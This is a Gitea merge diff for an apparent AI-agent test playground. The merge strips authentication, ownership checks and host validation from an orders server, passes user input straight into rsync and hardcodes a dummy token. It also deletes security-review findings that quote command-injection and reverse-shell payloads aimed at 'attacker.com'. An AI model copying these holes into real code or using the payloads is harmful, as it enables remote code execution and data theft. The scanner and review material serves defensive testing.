Merge pull request 'Merge orders module into main' (#10) from feature/orders-module into main

Reviewed-on: testclient-admin/playground#10

.gitea/workflows/security.yml

@@ -154,6 +154,22 @@ jobs:
           blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]]
           blocked = len(blocking) > 0
 
+          # Один и тот же коммит может быть провёрен дважды (см. баг
+          # Gitea с переиспользованием SHA между разными PR — два
+          # параллельных прогона на идентичный коммит). Статус в
+          # Gitea хранит только ПОСЛЕДНЮЮ запись по (sha, context),
+          # так что более поздний, но менее строгий результат тихо
+          # затирает более ранний блокирующий. Раз уже была
+          # зафиксирована блокировка на этом коммите — не снимаем
+          # её молча, только новым коммитом.
+          prior_failed = False
+          try:
+              prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses")
+              prior_failed = any(s.get("context") == "security/scan" and s.get("status") == "failure" for s in prior)
+          except Exception as e:
+              print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
+          sticky = prior_failed and not blocked
+
           outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}"
           os.makedirs(outdir, exist_ok=True)
           outpath = f"{outdir}/{int(time.time())}.json"
@@ -177,19 +193,22 @@ jobs:
           for f in top:
               body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n"
           body += f"Полный список: `{outpath}`\n\n"
-          body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
+          if sticky:
+              body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне; новый прогон нашёл меньше, но старую блокировку это не снимает (нужен новый коммит).\n"
+          else:
+              body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
 
           gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body})
 
           gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", {
-              "state": "failure" if blocked else "success",
+              "state": "failure" if (blocked or sticky) else "success",
               "context": "security/scan",
-              "description": f"{len(findings)} findings, {len(blocking)} blocking",
+              "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")),
               "target_url": f"{SERVER}/{REPO}/src/branch/{HEAD_REF}/{outpath}",
           })
 
-          print(f"findings: {len(findings)}, blocking: {len(blocking)}")
+          print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}")
-          if blocked:
+          if blocked or sticky:
               sys.exit(1)
           PYEOF
 
@@ -440,6 +459,20 @@ jobs:
           blocking = [f for f in findings if f["severity"] in policy["block_on"] and f["confidence"] >= policy["min_confidence"]]
           blocked = len(blocking) > 0
 
+          # См. аналогичный комментарий в шаге scan: LLM-ревьюер не
+          # детерминирован, а один коммит может быть провёрен дважды
+          # параллельно (баг Gitea с переиспользованием SHA между
+          # PR). Если более ранний прогон на ЭТОМ ЖЕ коммите уже
+          # нашёл блокирующую находку, более поздний "пустой" ответ
+          # модели не должен тихо снимать блокировку.
+          prior_failed = False
+          try:
+              prior = gitea("GET", f"/repos/{REPO}/commits/{COMMIT_SHA}/statuses")
+              prior_failed = any(s.get("context") == "security/review" and s.get("status") == "failure" for s in prior)
+          except Exception as e:
+              print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
+          sticky = prior_failed and not blocked
+
           outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}"
           outpath = f"{outdir}/{int(time.time())}-review.json"
 
@@ -467,19 +500,22 @@ jobs:
                   if f.get("exploit_scenario"):
                       body += f"  сценарий: {f['exploit_scenario']}\n\n"
               body += f"Полный список: `{outpath}`\n\n"
-          body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
+          if sticky:
+              body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне ревью; новый прогон ничего не нашёл, но старую блокировку это не снимает (нужен новый коммит).\n"
+          else:
+              body += "🔴 **Merge заблокирован** — есть находки выше порога `security-analysis/policy.yml`.\n" if blocked else "✅ Порог не превышен.\n"
 
           gitea("POST", f"/repos/{REPO}/issues/{PR_NUMBER}/comments", {"body": body})
 
           gitea("POST", f"/repos/{REPO}/statuses/{COMMIT_SHA}", {
-              "state": "failure" if blocked else "success",
+              "state": "failure" if (blocked or sticky) else "success",
               "context": "security/review",
-              "description": f"{len(findings)} findings, {len(blocking)} blocking",
+              "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")),
               "target_url": f"{SERVER}/{REPO}",
           })
 
-          print(f"findings: {len(findings)}, blocking: {len(blocking)}")
+          print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}")
-          if blocked:
+          if blocked or sticky:
               sys.exit(1)
           PYEOF2
 

AGENTS.md

@@ -8,8 +8,13 @@
 прямой push всё равно отклонится. Для любой задачи:
 
 1. Создай новую ветку от `main` с понятным именем по задаче.
-2. Делай коммиты в неё как обычно.
+2. Делай коммиты в неё как обычно (`git add`, `git commit`, `git push` —
-3. Когда готово — открой pull request в `main` и опиши, что сделано.
+   обычный нативный git, доступы уже настроены).
+3. Когда готово — открой pull request в `main` ЧЕРЕЗ ИНСТРУМЕНТ gitea MCP
+   (не через git push с параметрами PR, не через веб-логин, не проси
+   логин/пароль — они не нужны). Открытие PR/issue — это единственная
+   операция, которая должна идти через MCP; сам git (clone/commit/push)
+   остаётся обычным.
 
 Дальше pull request проходит автоматическую проверку (security-скан) и
 ревью — это не твоя забота, просто открой PR и жди.

README.md

@@ -1,67 +1,3 @@
-# Модуль учёта заказов клиентов
+# playground
 
-Простой HTTP-сервис для управления заказами клиентов.
+Тестовый проект testclient
-
-## Структура
-
-- `orders.py` — основной модуль сервера
-- `requirements.txt` — зависимости проекта
-
-## Функционал
-
-### Хранение заказов
-
-Заказы хранятся в памяти в словаре `orders`. Каждый заказ имеет:
-- `id` — уникальный идентификатор
-- `user_id` — владелец заказа
-- `amount` — сумма заказа
-
-### Эндпоинты
-
-#### GET /orders/{id}
-
-Получение заказа по ID. Требует авторизации через заголовок `Authorization: Bearer <token>`.
-
-**Пример:**
-```bash
-curl -H "Authorization: Bearer <your-token>" http://localhost:8000/orders/1
-```
-
-#### POST /orders/{id}
-
-Изменение суммы заказа. Принимает JSON с полем `amount` в теле запроса.
-
-**Пример:**
-```bash
-curl -X POST -H "Authorization: Bearer <your-token>" \
-  -H "Content-Type: application/json" \
-  -d '{"amount": 500}' \
-  http://localhost:8000/orders/1
-```
-
-#### GET /admin/backup
-
-Проверка готовности эндпоинта бэкапа.
-
-#### POST /admin/backup
-
-Инициация бэкапа данных на удалённый хост. Принимает JSON с полем `host` в теле запроса.
-
-**Пример:**
-```bash
-curl -X POST -H "Authorization: Bearer <your-token>" \
-  -H "Content-Type: application/json" \
-  -d '{"host": "backup.example.com"}' \
-  http://localhost:8000/admin/backup
-```
-
-Бэкап выполняется асинхронно через rsync. Уведомления о статусе бэкапа отправляются через GitHub Notifications (на текущем этапе просто логируются).
-
-## Запуск
-
-```bash
-pip install -r requirements.txt
-python orders.py
-```
-
-Сервер запустится на `localhost:8000`.

orders.py

@@ -3,48 +3,15 @@
 
 from http.server import HTTPServer, BaseHTTPRequestHandler
 import json
+import subprocess
 import threading
 import time
-import hashlib
-import hmac
-import os
-import re
-import subprocess
 
 orders = {}
+GitHubToken = "ghp_dummytoken_for_backup_notifications"
 
 
 class OrdersHandler(BaseHTTPRequestHandler):
-    def check_auth(self):
-        auth_header = self.headers.get("Authorization", "")
-        if not auth_header.startswith("Bearer "):
-            return False
-        token = auth_header[7:]
-        return self._validate_auth()
-
-    def _validate_token(self, token):
-        if not token.startswith("token_"):
-            return False
-        parts = token.split(":")
-        if len(parts) >= 2:
-            self._user_id = parts[1]
-            return True
-        self._user_id = None
-        return False
-
-    def _validate_auth(self):
-        auth_header = self.headers.get("Authorization", "")
-        if not auth_header.startswith("Bearer "):
-            return False
-        token = auth_header[7:]
-        if self._validate_token(token):
-            return True
-        admin_token = os.getenv("ADMIN_TOKEN", "")
-        if admin_token and token == admin_token:
-            self._user_id = "admin"
-            return True
-        return False
-
     def send_json_response(self, status_code, data):
         self.send_response(status_code)
         self.send_header("Content-Type", "application/json")
@@ -53,52 +20,30 @@ class OrdersHandler(BaseHTTPRequestHandler):
 
     def do_GET(self):
         if self.path.startswith("/orders/"):
-            if not self.check_auth():
-                self.send_json_response(401, {"error": "Unauthorized"})
-                return
             order_id = self.path.split("/")[-1]
             if order_id in orders:
-                if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
-                    self.send_json_response(403, {"error": "Forbidden"})
-                    return
                 self.send_json_response(200, orders[order_id])
             else:
                 self.send_json_response(404, {"error": "Order not found"})
         elif self.path == "/admin/backup":
-            if not getattr(self, "_user_id", None) == "admin":
-                self.send_json_response(403, {"error": "Forbidden - admin access required"})
-                return
             self.send_json_response(200, {"status": "backup_endpoint_ready"})
         else:
             self.send_json_response(404, {"error": "Not found"})
 
     def do_POST(self):
         if self.path.startswith("/orders/"):
-            if not self.check_auth():
-                self.send_json_response(401, {"error": "Unauthorized"})
-                return
             order_id = self.path.split("/")[-1]
             content_length = int(self.headers.get("Content-Length", 0))
             body = self.rfile.read(content_length).decode()
             data = json.loads(body)
             if "amount" in data:
                 if order_id not in orders:
-                    orders[order_id] = {"id": order_id, "user_id": getattr(self, "_user_id", None), "amount": 0}
+                    orders[order_id] = {"id": order_id, "user_id": "unknown", "amount": 0}
-                else:
-                    if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
-                        self.send_json_response(403, {"error": "Forbidden"})
-                        return
                 orders[order_id]["amount"] = data["amount"]
                 self.send_json_response(200, orders[order_id])
             else:
                 self.send_json_response(400, {"error": "Missing amount field"})
         elif self.path == "/admin/backup":
-            if not self.check_auth():
-                self.send_json_response(401, {"error": "Unauthorized"})
-                return
-            if not getattr(self, "_user_id", None) == "admin":
-                self.send_json_response(403, {"error": "Forbidden - admin access required"})
-                return
             content_length = int(self.headers.get("Content-Length", 0))
             body = self.rfile.read(content_length).decode()
             data = json.loads(body)
@@ -114,19 +59,18 @@ class OrdersHandler(BaseHTTPRequestHandler):
     def _perform_backup(self, host):
         def run_backup():
             try:
-                validated_host = self._validate_host(host)
+                result = subprocess.run(
-                if not validated_host:
+                    ["rsync", "-avz", "/workspace/", f"{host}:/backup/orders/"],
-                    print(f"Invalid host: {host}")
+                    capture_output=True,
-                    self._notify_github(f"Backup failed: invalid host {host}")
+                    text=True,
-                    return
+                    timeout=30
-                cmd = ["rsync", "-avz", "/workspace/", f"{validated_host}:/backup/orders/"]
+                )
-                result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
                 if result.returncode == 0:
-                    print(f"Backup to {validated_host} completed successfully")
+                    print(f"Backup to {host} completed successfully")
-                    self._notify_github(f"Backup to {validated_host} completed successfully")
+                    self._notify_github(f"Backup to {host} completed successfully")
                 else:
                     print(f"Backup failed: {result.stderr}")
-                    self._notify_github(f"Backup to {validated_host} failed: {result.stderr}")
+                    self._notify_github(f"Backup to {host} failed: {result.stderr}")
             except FileNotFoundError:
                 print("rsync not found, simulating backup")
                 self._notify_github(f"Backup simulation completed for {host} (rsync not available)")
@@ -137,33 +81,8 @@ class OrdersHandler(BaseHTTPRequestHandler):
         thread = threading.Thread(target=run_backup)
         thread.start()
 
-    def _validate_host(self, host):
-        if not host:
-            return None
-        host = host.strip()
-        if len(host) > 255:
-            return None
-        if host.startswith('--'):
-            return None
-        if ' ' in host:
-            return None
-        ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
-        domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'
-        if re.match(ip_pattern, host):
-            parts = host.split('.')
-            if all(0 <= int(p) <= 255 for p in parts):
-                return host
-            return None
-        if re.match(domain_pattern, host):
-            return host
-        return None
-
     def _notify_github(self, message):
-        token = os.getenv("GITHUB_TOKEN")
+        print(f"[GitHub Notification] {message}")
-        if token:
-            print(f"[GitHub Notification] {message}")
-        else:
-            print(f"[GitHub Notification] {message}")
         pass
 
     def log_message(self, format, *args):

requirements.txt

@@ -1,2 +0,0 @@
-flask==2.3.3
-Werkzeug==2.3.7

security-analysis/findings/pr-10/1787499104.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-11/1787499842.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-12/1787501546.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-12/1787501636.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-13/1787505296.json

@@ -1,56 +0,0 @@
-[
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 27,
-    "line_end": 27,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:14:56Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 36,
-    "line_end": 36,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:14:56Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 52,
-    "line_end": 52,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:14:56Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  }
-]

security-analysis/findings/pr-13/1787505343-review.json

@@ -1,86 +0,0 @@
-[
-  {
-    "id": "ai-review-0-orders.py-83",
-    "source": "ai-review",
-    "category": "command-exec",
-    "severity": "critical",
-    "confidence": 0.8,
-    "file": "orders.py",
-    "line_start": 83,
-    "line_end": 83,
-    "title": "Недостаточная очистка host от спецсимволов для командной инъекции",
-    "description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.",
-    "impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.",
-    "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.",
-    "evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.",
-    "recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.",
-    "cwe": "CWE-78",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:15:43Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  },
-  {
-    "id": "ai-review-1-orders.py-32",
-    "source": "ai-review",
-    "category": "idor",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 32,
-    "line_end": 47,
-    "title": "Отсутствие проверки ownership заказа",
-    "description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.",
-    "impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.",
-    "exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.",
-    "evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)",
-    "recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.",
-    "cwe": "CWE-639",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:15:43Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  },
-  {
-    "id": "ai-review-2-orders.py-15",
-    "source": "ai-review",
-    "category": "sensitive-data",
-    "severity": "medium",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 15,
-    "line_end": 15,
-    "title": "Хардкод токена GitHub в коде",
-    "description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.",
-    "impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.",
-    "exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).",
-    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
-    "recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.",
-    "cwe": "CWE-312",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:15:43Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  },
-  {
-    "id": "ai-review-3-orders.py-62",
-    "source": "ai-review",
-    "category": "authz",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 62,
-    "line_end": 65,
-    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации",
-    "description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).",
-    "impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.",
-    "exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.",
-    "evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)",
-    "recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.",
-    "cwe": "CWE-285",
-    "status": "OPEN",
-    "created_at": "2026-08-23T17:15:43Z",
-    "pr_number": 13,
-    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
-  }
-]

security-analysis/findings/pr-13/1787511104.json

@@ -1,56 +0,0 @@
-[
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 27,
-    "line_end": 27,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:51:44Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 36,
-    "line_end": 36,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:51:44Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 52,
-    "line_end": 52,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:51:44Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  }
-]

security-analysis/findings/pr-13/1787511147-review.json

@@ -1,86 +0,0 @@
-[
-  {
-    "id": "ai-review-0-orders.py-105",
-    "source": "ai-review",
-    "category": "injection",
-    "severity": "critical",
-    "confidence": 0.95,
-    "file": "orders.py",
-    "line_start": 105,
-    "line_end": 122,
-    "title": "Недостаточная валидация хоста для rsync",
-    "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
-    "impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
-    "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
-    "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
-    "recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
-    "cwe": "CWE-78",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:52:27Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  },
-  {
-    "id": "ai-review-1-orders.py-32",
-    "source": "ai-review",
-    "category": "idor",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 32,
-    "line_end": 65,
-    "title": "IDOR при доступе к заказам",
-    "description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
-    "impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
-    "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
-    "evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
-    "recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
-    "cwe": "CWE-639",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:52:27Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  },
-  {
-    "id": "ai-review-2-orders.py-65",
-    "source": "ai-review",
-    "category": "authz",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 65,
-    "line_end": 70,
-    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
-    "description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
-    "impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
-    "exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
-    "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
-    "recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
-    "cwe": "CWE-285",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:52:27Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  },
-  {
-    "id": "ai-review-3-orders.py-15",
-    "source": "ai-review",
-    "category": "sensitive-data",
-    "severity": "medium",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 15,
-    "line_end": 15,
-    "title": "Хардкод токена GitHub в коде",
-    "description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
-    "impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
-    "exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
-    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
-    "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
-    "cwe": "CWE-312",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:52:27Z",
-    "pr_number": 13,
-    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
-  }
-]

security-analysis/findings/pr-13/1787511242.json

@@ -1,56 +0,0 @@
-[
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 27,
-    "line_end": 27,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:54:02Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 36,
-    "line_end": 36,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
